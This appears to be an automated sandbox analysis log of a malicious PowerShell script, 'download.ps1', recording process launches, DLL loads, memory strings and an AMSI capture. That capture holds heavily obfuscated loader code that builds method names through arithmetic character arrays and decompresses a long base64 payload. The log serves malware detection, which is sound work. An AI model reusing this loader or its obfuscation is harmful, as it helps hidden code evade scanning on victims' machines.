Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: basejs:/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/dg\x3d0/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qAX
Source: powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: i/google-gemini-ai-holiday-planning-2024/%3Futm_source%3Dhpp%26utm_medium%3Dreferral&source=hpp&id=19046184&ct=3&usg=AOvVaw0wTMtITXLpc8KeH3Y4fICW&sa=X&ved=0ahUKEwiXo8fT47aKAxVa3jQHHcR7GSoQ8IcBCAY" rel="nofollow">5 ways Gemini can help during the Holidays</a></div></div></div><span id="footer"><div style="font-size:10pt"><div style="margin:19px auto;text-align:center" id="WqQANb"><a href="/intl/en/ads/">Advertising</a><a href="/services/">Business Solutions</a><a href="/intl/en/about.html">About Google</a></div></div><p style="font-size:8pt;color:#70757a">© 2024 - <a href="/intl/en/policies/privacy/">Privacy</a> - <a href="/intl/en/policies/terms/">Terms</a></p></span></center><script nonce="q0Qh02Fx1ZnHOkNjcAOMoA">(function(){window.google.cdo={height:757,width:1440};(function(){var a=window.innerWidth,b=window.innerHeight;if(!a\|\|!b){var c=window.document,d=c.compatMode=="CSS1Compat"?c.documentElement:c.body;a=d.clientWidth;b=d.clientHeight}if(a&&b&&(a!=google.cdo.width\|\|b!=google.cdo.height)){var e=google,f=e.log,g="/client_204?&atyp=i&biw="+a+"&bih="+b+"&ei="+google.kEI,h="",k=window.google&&window.google.kOPI\|\|null;k&&(h+="&opi="+k);f.call(e,"","",g+h)};}).call(this);})();</script> <script nonce="q0Qh02Fx1ZnHOkNjcAOMoA">(function(){google.xjs={basecomb:'/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAwCsAQAAIABAgAAAAAAAAAAAAAAAIAIAUAAQAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d0/ujg\x3d1/rs\x3dACT90oG2YgZBBwq8tE9dYnVc4XZLiXbO4w',basecss:'/xjs/_/ss/k\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAsAAAAIABAgAAAAAAAAAAAAAAAIAIAUAAQ/rs\x3dACT90oE4VDuypTCPH8jtHQgPMB8KgoFScQ',basejs:'/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/dg\x3d0/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qA',excm:[]};})();</script> <script nonce="q0Qh02Fx1ZnHOkNjcAOMoA">(function(){var u='/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d3/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qA/m\x3dsb_he,d';var st=1;var amd=1000;var mmd=0;var pod=true;
Source: powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: u=/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d3/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qA/m\x3dsb_he,dX

Source: classification engine

Classification label: mal68.evad.winPS1@2/7@2/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5112:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w2chukqj.1ra.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: [IO.Compression.CompressionMode]::Decompress)) $86zuy3xghtrqwve.(([char[]]@((-8759+(12159-3333)),(1082583/(10676-923)),(-1256+1368),(-4028+(-1825+(15221752/2548))),(9559-9475),(5516-(5445-(-610+(-4271+4921))))) -join ''))( $pt7afszmng9hol5 ) $86zuy3xghtrqwve.((-join (@((354296/5288),(-3056+3164),(571761/5151),(-10032+10147),(4537-4436))| ForEach-Object { [char]$_ })))()$eni4vzuxs2d5yoa.(([char[]]@((658208/(13365-3541)),(-9358+(10414-948)),(633699/(22875963/(30549368/7624))),(742670/6458),(-7430+7531)) -join ''))()[byte[]] $bxrc2jni4slugvt = $pt7afszmng9hol5.(([system.String]::new(@((981-897),(4326-4215),(-5367+(7729736/(-8618+(12028-(487+1500))))),(-4969+5083),(8315-(1920+6281)),(-5956+(11228-(45384750/8770))),(-6445+6566)))))() $cs3pj58qgiuek20=$bxrc2jni4slugvt return $cs3pj58qgiuek20}[System.Text.Encoding]::ascii.(([system.String]::new(@((304022/4282),(324008/(12915408/4026)),(898884/(13560750/1750)),(411182/4954),(7058-(493+6449)),(2257-(-3233+(9152-(12961-9185)))),(39900/(6930-(14782-(68506704/(9823-(1812-311)))))),(-8266+(5951+2425)),(2783-(19467520/7264))))))((nghl3ewmdia0bvsr1z6kjfo9x5q "Kb44enhqZjlvd8TybbolLQ6t+VqiqIimFAaXKSu+2GbnJ0sjBEz69uwTrroOMum1MEZZVPVbkMHQkJ4xnTtEuWhKLCWypxQg45uNrYI1sGNeKBefk8hDmf8tcU6ES5OUyIbD/fc1uYcaiZqXi6KndVb0uoITBRCQxdCdYUfV2EGdj4Dl2dvMgquXvf4USNYyydbZZVd0WUQSDpeSmaJHVCfUXoISyxf3rfJflKXVlcXwGNaTodZB3EK8BbJaWVD6QkPG/RuBX5SsJTIgH5Gd92GfhQ0IWQBVmBzHzmQJ+QidZ5Eve4DA+UooOrZSoNhy4Qf3JgKDhfWUmGapLA+n18uMoq4ZvDiRu1zEw7Y71UYBukrpE/rsgzPk94YFTuXCidDirJsCy5Xeswe5+gZBgWmfqytgvDE9rXSbk0XF+7KyEjplE/Hd4grBE82q+o7CQ7gRouWTIvby0PfPmQlrmnE98OP8FCLbgWlJiOq4OtsHjp0m3TkBVUvMCkaCQkayX8ff5j40lNE2aFXCCWsMAgqSm9ZS/QYwiktBA4aSgGZE6FYWxPaHJQeXgsW+5hoGB7mSH91yNNkkXu2Gwb2KPbKzqJnaFjPnwEddw83PqWAXQlTc0cleiJfyDPFXNgWYjSuFVyNBG9NZDoOKwirN90vD82LsrWux7H/TKY7bNl+xlXWYh/uWid14zBZAn7kdW1YdwzY1J1oqsHUUartNLK6yIRlR1dfYqUWdVxU/LQdQja+eyrJTE/siRqMZuAznF2MLG3rj1ZFKHWAF0md7FjEV74iDiyPeCbIJOaEMqXQk7A4yTd/lxbuUo6+ezlOVbLbOTgtIBo4qb4Mtm9zwc3Z8qBDss47ZrCFVDIEysNrHysXNzI+Ed85xEOQ6T9TeuwVEsSCxMhvn33bIKrZtHrSq/9x3UKZdW/Z2kg3c6xqP75cYzub1iQfRFdaVjf7VCavvwUSWHIkvip+oSSpOGWU1GMiJouqlTcK/TVb12QVUjJylGcvRrROTGWGk6HQASkrXq/OZuTfUqRGXxuuD8a+hi/qavwB9gal4nLb3Nh8OfgRsvvL+PhTlAxNpDUzr1Xms50Y8TPYs2wUpZpVFGOt3/USkntrr9ZkNUxZZ+WVGmvpraSosOuOc12LszKah2QmMD4CHZXK9hNXd1Kdj99sY2yfwJdvbd3s7BRrd0xKoYukqsrd34yfZmOUykAVUu2l+UaXkewmJRc0XAaXSUfwLDabZN7tdQwMXDqhaq4qe37LtABzWvlYCC+XTcZlnrv6yMn/UEadBAbtcptTcI/b//iNyj3RHtvbwKfRJF7ReLrl5VOYntY4MqHtwKhptGq5AzXACXoC786Lqxf2KRRg2rJWVl0X7CiysEHPTkXP5x/4P4EB08ZY/r+p8YfWw6z/Ohb75Md4kaHk8wWrsBwGRDj2YKOZx2jRKAu8yuN2Yxv5+vrVZU7ApMLdB0TA4dZM+Iv6L3nLd22NxpKxvYjrepyBidzoEc2Qo2/B3rxqszHtjjAUAQoy3snp2fSsOlbmYWlFHw1xPqG8ThCMRIUquzUobuHB1sYRBBTsi5D7vS8+vl2OCxfAfanlN921ILf2zflg6rPrVtchrKzy0eUNDlBoLvVpsArUvlq2TfQA1N8M46UVRtgvECv6XH78x6+ZFjl1ku6CMOymiPtFUVzzQW7udboFJU8cqWxEpfsHJGqq4jWOd6+UkkK5Se6lVSu/rSvSItsGe4eJ/GDpjP09aw0YWNQR+o1jRmgST4ogN81jucN1YXdq2LvR5JeigIkU0U89gS7Te5vPQP0VpqpH7qUqg/azh2vAlpwp6ZzDZto3XRsJRoUJ/ECIQkwkhquBeXcb4ZURCup

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: mscorlib.pdbCLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32 source: powershell.exe, 00000000.00000002.1430212250.00000235E92EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000000.00000002.1428627321.00000235E907E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000000.00000002.1431782162.00000235E938D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdbE-5E7582D8C9FA}\InprocServer32 source: powershell.exe, 00000000.00000002.1430212250.00000235E92EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbGC source: powershell.exe, 00000000.00000002.1430212250.00000235E9284000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000000.00000002.1431782162.00000235E9425000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000000.00000002.1430212250.00000235E9284000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000000.00000002.1430212250.00000235E92EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbllu8w source: powershell.exe, 00000000.00000002.1431782162.00000235E938D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000000.00000002.1431782162.00000235E9425000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000000.00000002.1428627321.00000235E907E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbv source: powershell.exe, 00000000.00000002.1431782162.00000235E9425000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC35D2A5 pushad ; iretd	0_2_00007FFAAC35D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC474FA5 push edi; ret	0_2_00007FFAAC474FA6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC47E3CF push eax; iretd	0_2_00007FFAAC47E3E1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC47CBDA pushad ; retf	0_2_00007FFAAC47CBDB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC6CC3B4 pushad ; ret	0_2_00007FFAAC6CC3B5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC6CC3AC pushad ; retn 0000h	0_2_00007FFAAC6CC3AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC6CCBE4 pushfd ; retf	0_2_00007FFAAC6CCBE5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC6CF86B push eax; iretd	0_2_00007FFAAC6CFB69
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC6E5170 pushad ; ret	0_2_00007FFAAC6E5171

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
